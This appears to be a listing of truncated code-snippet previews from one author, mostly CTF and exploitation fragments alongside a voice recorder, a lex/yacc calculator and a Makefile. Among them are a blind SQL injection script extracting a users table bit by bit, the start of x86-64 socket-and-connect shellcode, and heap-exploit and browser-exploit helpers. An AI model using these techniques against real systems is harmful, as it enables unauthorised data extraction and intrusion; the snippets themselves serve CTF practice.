ptr-yudai

/**
 * Utils
 */
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {

ptr-yudai

from ptrlib import *

def new(size, data):
    sock.sendlineafter("Exit\n", "1")
    sock.recvline()
    sock.sendline(str(size))
    sock.recvline()
    sock.sendline(data)

def delete(index):

ptr-yudai

#!/usr/bin/env python
import requests
import json

data = ''
for j in range(7, 0x100):
    i = 0
    while i < 8:
        payload = {
            'limit': "(SELECT (ASCII(SUBSTRING((SELECT users::text FROM users LIMIT 1 OFFSET 4),{},1)) >> {}) & 1)".format(j, i)

ptr-yudai

; Socket
	mov al, 41
	push 2
	pop rdi
	push 1
	pop rsi
	cdq
	syscall
; Connect
	xchg edi, eax

ptr-yudai

# coding: utf-8
import struct

#
# MD5
#
def md5hex(message, iv=(0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476), prevlen=0):
    A, B, C, D = md5(message, iv, prevlen)
    md5sum  = struct.pack('<I', A)
    md5sum += struct.pack('<I', B)

ptr-yudai

#!/usr/bin/python
import hashlib
import base64
import re
from secret import FLAG, SALT

def construct(data):
    ret = {}
    regs = data.split('|')
    for reg in regs:

ptr-yudai

# Simple Voice Recorder for TOELF Speaking Test
# Usage:
#  python record.py [output.wav]
# Requirement:
#  Python 2, arecord (often pre-installed on linux)
# What does this program do?
#  First, this program will wait 15 seconds, which is the same length given in the TEFL test for preparing your answer.
#  Second, arecord will begin to record your voice for 45 seconds in which you need to answer the question.
#  After that, the recorded voice will be saved as a wav file.
#  Optionally, you can listen to the recorded voice after your answer.

ptr-yudai

%{
#include <stdio.h>
#include "y.tab.h"
int yywrap(void) { return 1; }
%}

%%
"+" return OPERATOR_ADD;
"-" return OPERATOR_SUB;
"*" return OPERATOR_MUL;

ptr-yudai

# calc.binを出力するコマンド
calc.bin: y.tab.c lex.yy.c # 下のコマンドに必要なファイル
	cc -o calc.bin y.tab.c lex.yy.c

# y.tab.cを出力するコマンド
y.tab.c: calc.y # 下のコマンドに必要なファイル
	yacc -dv calc.y

# lex.yy.cを出力するコマンド
lex.yy.c: calc.l # 下のコマンドに必要なファイル

ptr-yudai

from pwn import *

class tp:
    #
    # Constructor
    #
    def __init__(self, host, port):
        # Connect to server
        self.sock = remote(host, port)
        # List of commands